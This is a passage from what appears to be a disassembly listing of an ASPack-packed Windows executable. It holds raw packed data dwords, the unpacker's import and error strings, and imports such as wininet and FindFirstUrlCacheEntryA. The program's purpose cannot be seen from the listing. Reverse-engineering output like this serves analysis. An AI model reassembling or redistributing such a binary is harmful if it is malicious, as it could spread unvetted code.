		dd 8B90Ch, 0C82B0000h, 0EFD3C503h, 18B9h, 8468900h, 0E781CD2Bh
		dd 0FFFFFFh, 8E8DEFD3h,	130h, 0FFFB14E8h, 8DC303FFh, 5BEBF81Ch
		dd 8087E83h, 468B3172h,	0C568B04h, 8A08E2C1h, 4C884008h
		dd 4E8B2024h, 4468908h,	2024448Bh, 0FF25h, 0F8C18300h
		dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h,	468B0856h
		dd 8B90Ch, 0CA2B0000h, 0E8D3D703h, 18B9h, 8568900h, 0FF25CF2Bh
		dd 0D300FFFFh, 83D803E8h, 1A7303FBh, 509E8C8Bh,	85000002h
		dd 8B3074DBh, 25096h, 9E948900h, 250h, 868B1BEBh, 254h
		dd 250968Bh, 4B8D0000h,	588689FDh, 89000002h, 25496h, 508E8900h
		dd 8B000002h, 247C8B06h, 148D4114h, 89C23B38h, 8B107316h
		dd 40D12BD0h, 5088128Ah, 3B168BFFh, 8BF072C2h, 3102444h
		dd 244489C7h, 0EBF88B10h, 0E8CE8B0Bh, 0FFFFFBF0h, 1C74C084h
		dd 28247C3Bh, 0FDAB820Fh, 448BFFFFh, 38892C24h,	0B05D5E5Fh
		dd 0C4835B01h, 8C214h, 325D5E5Fh, 0C4835BC0h, 8C214h, 0
		dd 8, 400000h, 7C800000h, 6E72656Bh, 32336C65h,	6C6C642Eh
		dd 72695600h, 6C617574h, 6F6C6C41h, 69560063h, 61757472h
		dd 6572466Ch, 69560065h, 61757472h, 6F72506Ch, 74636574h
		dd 69784500h, 6F725074h, 73736563h, 0
		dd 65737500h, 2E323372h, 6C6C64h, 7373654Dh, 42656761h
		dd 41786Fh, 72707377h, 66746E69h, 4F4C0041h, 52454441h
		dd 52524520h, 5400524Fh, 70206568h, 65636F72h, 65727564h
		dd 746E6520h, 70207972h, 746E696Fh, 20732520h, 6C756F63h
		dd 6F6E2064h, 65622074h, 636F6C20h, 64657461h, 206E6920h
		dd 20656874h, 616E7964h, 2063696Dh, 6B6E696Ch, 62696C20h
		dd 79726172h, 732520h, 20656854h, 6964726Fh, 206C616Eh
		dd 63207525h, 646C756Fh, 746F6E20h, 20656220h, 61636F6Ch
		dd 20646574h, 74206E69h, 64206568h, 6D616E79h, 6C206369h
		dd 206B6E69h, 7262696Ch, 20797261h, 90007325h, 7C80ADA0h
		dd 7C80B6A1h, 7C801D77h, 0
aKernel32_dll_3	db 'kernel32.dll',0
		db 2 dup(0), 47h
aEtprocaddress	db 'etProcAddress',0
		align 10h
aGetmodulehandl	db 'GetModuleHandleA',0
		db 2 dup(0), 4Ch
aOadlibrarya	db 'oadLibraryA',0
		dd 3 dup(0)
		dd 49F80h, 49F70h, 3 dup(0)
		dd 4A074h, 4A0C4h, 3 dup(0)
		dd 4A081h, 4A0CCh, 3 dup(0)
		dd 4A08Dh, 4A0D4h, 3 dup(0)
		dd 4A097h, 4A0DCh, 3 dup(0)
		dd 4A0A2h, 4A0E4h, 3 dup(0)
		dd 4A0ACh, 4A0ECh, 3 dup(0)
		dd 4A0B9h, 4A0F4h, 5 dup(0)
aOleaut32_dll	db 'oleaut32.dll',0
aWininet_dll_0	db 'wininet.dll',0
aOle32_dll_0	db 'ole32.dll',0
aUser32_dll_1	db 'user32.dll',0
aGdi32_dll_0	db 'gdi32.dll',0
aAdvapi32_dll_2	db 'advapi32.dll',0
aCrtdll_dll_0	db 'crtdll.dll',0
		dd 77124C05h, 0
aB_1		db '=ÞÂB',0
		align 4
		dd 774FFAC3h, 0
aC_0		db '+!C~',0
		align 4
		dd 77F161D1h, 0
aSwW		db 'SwÝw',0
		align 4
aIoS		db 'ëoÙs',0
		align 4
		db    0
		align 2
aSysallocstring	db 'SysAllocString',0
		db 2 dup(0), 46h
aIndfirsturlcac	db 'indFirstUrlCacheEntryA',0
		align 4
		dd 436F4300h, 74616572h, 736E4965h, 636E6174h, 65h, 57746547h
		dd 6F646E69h, 78655477h, 4174h,	74654700h, 636F7453h, 6A624F6Bh
		dd 746365h, 704F0000h, 72506E65h, 7365636Fh, 6B6F5473h
		dd 6E65h, 74695F00h, 616Fh, 3A2h dup(0)
_aspack		ends

; Section 7. (virtual address 0004C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0004C000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 44C000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start